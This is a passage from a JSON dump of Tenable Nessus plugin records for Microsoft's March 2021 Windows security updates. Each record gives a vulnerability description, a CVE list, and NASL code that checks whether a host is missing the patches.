corruption vulnerability exists. An attacker can exploit this to corrupt the memory and cause unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - An information disclosure vulnerability. An attacker can exploit this to disclose potentially sensitive information. (CVE-2021-24107)\n\n - A denial of service (DoS) vulnerability. An attacker can exploit this issue to cause the affected component to deny system or application services. (CVE-2021-26896, CVE-2021-27063)", "cvss3": {}, "published": "2021-03-09T00:00:00", "type": "nessus", "title": "KB5000856: Windows Server 2008 March 2021 Security Update", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-1640", "CVE-2021-24107", "CVE-2021-26411", "CVE-2021-26861", "CVE-2021-26862", "CVE-2021-26872", "CVE-2021-26873", "CVE-2021-26875", "CVE-2021-26877", "CVE-2021-26878", "CVE-2021-26882", "CVE-2021-26893", "CVE-2021-26894", "CVE-2021-26895", "CVE-2021-26896", "CVE-2021-26897", "CVE-2021-26898", "CVE-2021-26899", "CVE-2021-26901", "CVE-2021-27063", "CVE-2021-27077"], "modified": "2022-12-05T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_MAR_5000844.NASL", "href": "https://www.tenable.com/plugins/nessus/147217", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147217);\n script_version(\"1.12\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/12/05\");\n\n script_cve_id(\n \"CVE-2021-1640\",\n \"CVE-2021-24107\",\n \"CVE-2021-26411\",\n \"CVE-2021-26861\",\n \"CVE-2021-26862\",\n \"CVE-2021-26872\",\n \"CVE-2021-26873\",\n \"CVE-2021-26875\",\n \"CVE-2021-26877\",\n \"CVE-2021-26878\",\n \"CVE-2021-26882\",\n \"CVE-2021-26893\",\n \"CVE-2021-26894\",\n \"CVE-2021-26895\",\n \"CVE-2021-26896\",\n \"CVE-2021-26897\",\n \"CVE-2021-26898\",\n \"CVE-2021-26899\",\n \"CVE-2021-26901\",\n \"CVE-2021-27063\",\n \"CVE-2021-27077\"\n );\n script_xref(name:\"MSKB\", value:\"5000844\");\n script_xref(name:\"MSKB\", value:\"5000856\");\n script_xref(name:\"MSFT\", value:\"MS21-5000844\");\n script_xref(name:\"MSFT\", value:\"MS21-5000856\");\n script_xref(name:\"IAVA\", value:\"2021-A-0130-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0134-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0131-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0015\");\n\n script_name(english:\"KB5000856: Windows Server 2008 March 2021 Security Update\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5000856\nor cumulative update 5000844. It is, therefore, affected by\nmultiple vulnerabilities :\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-26861,\n CVE-2021-26877, CVE-2021-26893, CVE-2021-26894,\n CVE-2021-26895, CVE-2021-26897)\n\n - An elevation of privilege vulnerability. An attacker can\n exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-26862, CVE-2021-26872,\n CVE-2021-26873, CVE-2021-26875, CVE-2021-26878,\n CVE-2021-26882, CVE-2021-26898, CVE-2021-26899,\n CVE-2021-26901, CVE-2021-27077)\n\n - An memory corruption vulnerability exists. An attacker\n can exploit this to corrupt the memory and cause\n unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - An information disclosure vulnerability. An attacker can\n exploit this to disclose potentially sensitive\n information. (CVE-2021-24107)\n\n - A denial of service (DoS) vulnerability. An attacker can\n exploit this issue to cause the affected component to\n deny system or application services. (CVE-2021-26896,\n CVE-2021-27063)\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000844-monthly-rollup-d90d0eb1-6319-4a7e-97f6-68fbd306fd5a\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?177a5bc6\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000856-security-only-update-7a0eb0b9-7f1c-44e5-ba3f-4f6e5e92b33e\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?22792d68\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Security Only update KB5000856 or Cumulative Update KB5000844.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-26897\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/09\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-03';\nkbs = make_list(\n '5000844',\n '5000856'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(vista:'2') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'6.0', \n sp:2,\n rollup_date:'03_2021',\n bulletin:bulletin,\n rollup_kb_list:[5000844, 5000856])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:25:52", "description": "The remote Windows host is missing security update 5000807.\nIt is, therefore, affected by multiple vulnerabilities :\n\n - An elevation of privilege vulnerability. An attacker can exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-26862, CVE-2021-26866, CVE-2021-26868, CVE-2021-26871, CVE-2021-26872, CVE-2021-26873, CVE-2021-26875, CVE-2021-26878, CVE-2021-26882, CVE-2021-26885, CVE-2021-26898, CVE-2021-26899, CVE-2021-26901, CVE-2021-27077)\n\n - An information disclosure vulnerability. An attacker can exploit this to disclose potentially sensitive information. (CVE-2021-24107, CVE-2021-26869, CVE-2021-26884)\n\n - A denial of service (DoS) vulnerability. An attacker can exploit this issue to cause the affected component to deny system or application services. (CVE-2021-26879, CVE-2021-26886)\n\n - An memory corruption vulnerability exists. An attacker can exploit this to corrupt the memory and cause unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-26861, CVE-2021-26881)", "cvss3": {}, "published": "2021-03-09T00:00:00", "type": "nessus", "title": "KB5000807: Windows 10 March 2021 Security Update", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-1640", "CVE-2021-24107", "CVE-2021-26411", "CVE-2021-26861", "CVE-2021-26862", "CVE-2021-26866", "CVE-2021-26868", "CVE-2021-26869", "CVE-2021-26871", "CVE-2021-26872", "CVE-2021-26873", "CVE-2021-26875", "CVE-2021-26878", "CVE-2021-26879", "CVE-2021-26881", "CVE-2021-26882", "CVE-2021-26884", "CVE-2021-26885", "CVE-2021-26886", "CVE-2021-26898", "CVE-2021-26899", "CVE-2021-26901", "CVE-2021-27077"], "modified": "2023-02-03T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_MAR_5000807.NASL", "href": "https://www.tenable.com/plugins/nessus/147230", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147230);\n script_version(\"1.16\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/03\");\n\n script_cve_id(\n \"CVE-2021-1640\",\n \"CVE-2021-24107\",\n \"CVE-2021-26411\",\n \"CVE-2021-26861\",\n \"CVE-2021-26862\",\n \"CVE-2021-26866\",\n \"CVE-2021-26868\",\n \"CVE-2021-26869\",\n \"CVE-2021-26871\",\n \"CVE-2021-26872\",\n \"CVE-2021-26873\",\n \"CVE-2021-26875\",\n \"CVE-2021-26878\",\n \"CVE-2021-26879\",\n \"CVE-2021-26881\",\n \"CVE-2021-26882\",\n \"CVE-2021-26884\",\n \"CVE-2021-26885\",\n \"CVE-2021-26886\",\n \"CVE-2021-26898\",\n \"CVE-2021-26899\",\n \"CVE-2021-26901\",\n \"CVE-2021-27077\"\n );\n script_xref(name:\"MSKB\", value:\"5000807\");\n script_xref(name:\"MSFT\", value:\"MS21-5000807\");\n script_xref(name:\"IAVA\", value:\"2021-A-0129-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0130-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0134-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0131-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0015\");\n\n script_name(english:\"KB5000807: Windows 10 March 2021 Security Update\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5000807.\nIt is, therefore, affected by multiple vulnerabilities :\n\n - An elevation of privilege vulnerability. An attacker can\n exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-26862, CVE-2021-26866,\n CVE-2021-26868, CVE-2021-26871, CVE-2021-26872,\n CVE-2021-26873, CVE-2021-26875, CVE-2021-26878,\n CVE-2021-26882, CVE-2021-26885, CVE-2021-26898,\n CVE-2021-26899, CVE-2021-26901, CVE-2021-27077)\n\n - An information disclosure vulnerability. An attacker can\n exploit this to disclose potentially sensitive\n information. (CVE-2021-24107, CVE-2021-26869,\n CVE-2021-26884)\n\n - A denial of service (DoS) vulnerability. An attacker can\n exploit this issue to cause the affected component to\n deny system or application services. (CVE-2021-26879,\n CVE-2021-26886)\n\n - An memory corruption vulnerability exists. An attacker\n can exploit this to corrupt the memory and cause\n unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-26861,\n CVE-2021-26881)\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000807-os-build-10240-18874-09c57376-4108-4d34-bc89-3d4baec37ade\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?dcda9069\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update KB5000807.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-26901\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-26881\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/09\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-03';\nkbs = make_list(\n '5000807'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'10',\n sp:0,\n os_build:'10240',\n rollup_date:'03_2021',\n bulletin:bulletin,\n rollup_kb_list:[5000807])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:25:29", "description": "The remote Windows host is missing security update 5000851 or cumulative update 5000841. It is, therefore, affected by multiple vulnerabilities :\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-26861, CVE-2021-26877, CVE-2021-26881, CVE-2021-26893, CVE-2021-26894, CVE-2021-26895, CVE-2021-26897)\n\n - An information disclosure vulnerability. An attacker can exploit this to disclose potentially sensitive information. (CVE-2021-24107, CVE-2021-26869)\n\n - An elevation of privilege vulnerability. An attacker can exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-26862, CVE-2021-26872, CVE-2021-26873, CVE-2021-26875, CVE-2021-26878, CVE-2021-26882, CVE-2021-26898, CVE-2021-26899, CVE-2021-26901, CVE-2021-27077)\n\n - An memory corruption vulnerability exists. An attacker can exploit this to corrupt the memory and cause unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - A denial of service (DoS) vulnerability. An attacker can exploit this issue to cause the affected component to deny system or application services. (CVE-2021-26896, CVE-2021-27063)", "cvss3": {}, "published": "2021-03-09T00:00:00", "type": "nessus", "title": "KB5000851: Windows 7 and Windows Server 2008 R2 March 2021 Security Update", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-1640", "CVE-2021-24107", "CVE-2021-26411", "CVE-2021-26861", "CVE-2021-26862", "CVE-2021-26869", "CVE-2021-26872", "CVE-2021-26873", "CVE-2021-26875", "CVE-2021-26877", "CVE-2021-26878", "CVE-2021-26881", "CVE-2021-26882", "CVE-2021-26893", "CVE-2021-26894", "CVE-2021-26895", "CVE-2021-26896", "CVE-2021-26897", "CVE-2021-26898", "CVE-2021-26899", "CVE-2021-26901", "CVE-2021-27063", "CVE-2021-27077"], "modified": "2022-12-05T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_MAR_5000841.NASL", "href": "https://www.tenable.com/plugins/nessus/147231", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147231);\n script_version(\"1.10\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/12/05\");\n\n script_cve_id(\n \"CVE-2021-1640\",\n \"CVE-2021-24107\",\n \"CVE-2021-26411\",\n \"CVE-2021-26861\",\n \"CVE-2021-26862\",\n \"CVE-2021-26869\",\n \"CVE-2021-26872\",\n \"CVE-2021-26873\",\n \"CVE-2021-26875\",\n \"CVE-2021-26877\",\n \"CVE-2021-26878\",\n \"CVE-2021-26881\",\n \"CVE-2021-26882\",\n \"CVE-2021-26893\",\n \"CVE-2021-26894\",\n \"CVE-2021-26895\",\n \"CVE-2021-26896\",\n \"CVE-2021-26897\",\n \"CVE-2021-26898\",\n \"CVE-2021-26899\",\n \"CVE-2021-26901\",\n \"CVE-2021-27063\",\n \"CVE-2021-27077\"\n );\n script_xref(name:\"MSKB\", value:\"5000841\");\n script_xref(name:\"MSKB\", value:\"5000851\");\n script_xref(name:\"MSFT\", value:\"MS21-5000841\");\n script_xref(name:\"MSFT\", value:\"MS21-5000851\");\n script_xref(name:\"IAVA\", value:\"2021-A-0130-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0134-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0015\");\n\n script_name(english:\"KB5000851: Windows 7 and Windows Server 2008 R2 March 2021 Security Update\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5000851\nor cumulative update 5000841. It is, therefore, affected by\nmultiple vulnerabilities :\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-26861,\n CVE-2021-26877, CVE-2021-26881, CVE-2021-26893,\n CVE-2021-26894, CVE-2021-26895, CVE-2021-26897)\n\n - An information disclosure vulnerability. An attacker can\n exploit this to disclose potentially sensitive\n information. (CVE-2021-24107, CVE-2021-26869)\n\n - An elevation of privilege vulnerability. An attacker can\n exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-26862, CVE-2021-26872,\n CVE-2021-26873, CVE-2021-26875, CVE-2021-26878,\n CVE-2021-26882, CVE-2021-26898, CVE-2021-26899,\n CVE-2021-26901, CVE-2021-27077)\n\n - An memory corruption vulnerability exists. An attacker\n can exploit this to corrupt the memory and cause\n unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - A denial of service (DoS) vulnerability. An attacker can\n exploit this issue to cause the affected component to\n deny system or application services. (CVE-2021-26896,\n CVE-2021-27063)\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000851-security-only-update-9e198918-a6d6-46d3-8cfb-bd2b1e2ecb99\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?7cce9359\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000841-monthly-rollup-3a2cced1-f436-40c3-a8a1-645f86759088\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?8c5851d4\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Security Only update KB5000851 or Cumulative Update KB5000841.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-26897\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/09\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-03';\nkbs = make_list(\n '5000841',\n '5000851'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win7:'1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'6.1', \n sp:1,\n rollup_date:'03_2021',\n bulletin:bulletin,\n rollup_kb_list:[5000841, 5000851])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-19T15:06:19", "description": "The remote Windows host is missing security update 5000840 or cumulative update 5000847. It is, therefore, affected by multiple vulnerabilities :\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-26861, CVE-2021-26877, CVE-2021-26881, CVE-2021-26893, CVE-2021-26894, CVE-2021-26895, CVE-2021-26897)\n\n - An information disclosure vulnerability. An attacker can exploit this to disclose potentially sensitive information. (CVE-2021-24107, CVE-2021-26869, CVE-2021-26884)\n\n - A denial of service (DoS) vulnerability. An attacker can exploit this issue to cause the affected component to deny system or application services. (CVE-2021-26886, CVE-2021-26896, CVE-2021-27063)\n\n - An memory corruption vulnerability exists. An attacker can exploit this to corrupt the memory and cause unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - An elevation of privilege vulnerability. An attacker can exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-26862, CVE-2021-26868, CVE-2021-26872, CVE-2021-26873, CVE-2021-26875, CVE-2021-26878, CVE-2021-26882, CVE-2021-26898, CVE-2021-26899, CVE-2021-26901)", "cvss3": {}, "published": "2021-03-09T00:00:00", "type": "nessus", "title": "KB5000840: Windows Server 2012 March 2021 Security Update", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-1640", "CVE-2021-24107", "CVE-2021-26411", "CVE-2021-26861", "CVE-2021-26862", "CVE-2021-26868", "CVE-2021-26869", "CVE-2021-26872", "CVE-2021-26873", "CVE-2021-26875", "CVE-2021-26877", "CVE-2021-26878", "CVE-2021-26881", "CVE-2021-26882", "CVE-2021-26884", "CVE-2021-26886", "CVE-2021-26893", "CVE-2021-26894", "CVE-2021-26895", "CVE-2021-26896", "CVE-2021-26897", "CVE-2021-26898", "CVE-2021-26899", "CVE-2021-26901", "CVE-2021-27063"], "modified": "2023-02-03T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_MAR_5000847.NASL", "href": "https://www.tenable.com/plugins/nessus/147221", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147221);\n script_version(\"1.11\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/03\");\n\n script_cve_id(\n \"CVE-2021-1640\",\n \"CVE-2021-24107\",\n \"CVE-2021-26411\",\n \"CVE-2021-26861\",\n \"CVE-2021-26862\",\n \"CVE-2021-26868\",\n \"CVE-2021-26869\",\n \"CVE-2021-26872\",\n \"CVE-2021-26873\",\n \"CVE-2021-26875\",\n \"CVE-2021-26877\",\n \"CVE-2021-26878\",\n \"CVE-2021-26881\",\n \"CVE-2021-26882\",\n \"CVE-2021-26884\",\n \"CVE-2021-26886\",\n \"CVE-2021-26893\",\n \"CVE-2021-26894\",\n \"CVE-2021-26895\",\n \"CVE-2021-26896\",\n \"CVE-2021-26897\",\n \"CVE-2021-26898\",\n \"CVE-2021-26899\",\n \"CVE-2021-26901\",\n \"CVE-2021-27063\"\n );\n script_xref(name:\"MSKB\", value:\"5000847\");\n script_xref(name:\"MSKB\", value:\"5000840\");\n script_xref(name:\"MSFT\", value:\"MS21-5000847\");\n script_xref(name:\"MSFT\", value:\"MS21-5000840\");\n script_xref(name:\"IAVA\", value:\"2021-A-0130-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0134-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0015\");\n\n script_name(english:\"KB5000840: Windows Server 2012 March 2021 Security Update\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5000840\nor cumulative update 5000847. It is, therefore, affected by\nmultiple vulnerabilities :\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-26861,\n CVE-2021-26877, CVE-2021-26881, CVE-2021-26893,\n CVE-2021-26894, CVE-2021-26895, CVE-2021-26897)\n\n - An information disclosure vulnerability. An attacker can\n exploit this to disclose potentially sensitive\n information. (CVE-2021-24107, CVE-2021-26869,\n CVE-2021-26884)\n\n - A denial of service (DoS) vulnerability. An attacker can\n exploit this issue to cause the affected component to\n deny system or application services. (CVE-2021-26886,\n CVE-2021-26896, CVE-2021-27063)\n\n - An memory corruption vulnerability exists. An attacker\n can exploit this to corrupt the memory and cause\n unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - An elevation of privilege vulnerability. An attacker can\n exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-26862, CVE-2021-26868,\n CVE-2021-26872, CVE-2021-26873, CVE-2021-26875,\n CVE-2021-26878, CVE-2021-26882, CVE-2021-26898,\n CVE-2021-26899, CVE-2021-26901)\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000847-monthly-rollup-8afa2933-e9da-4481-a0bc-18deb314974e\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?df958afd\");\n # 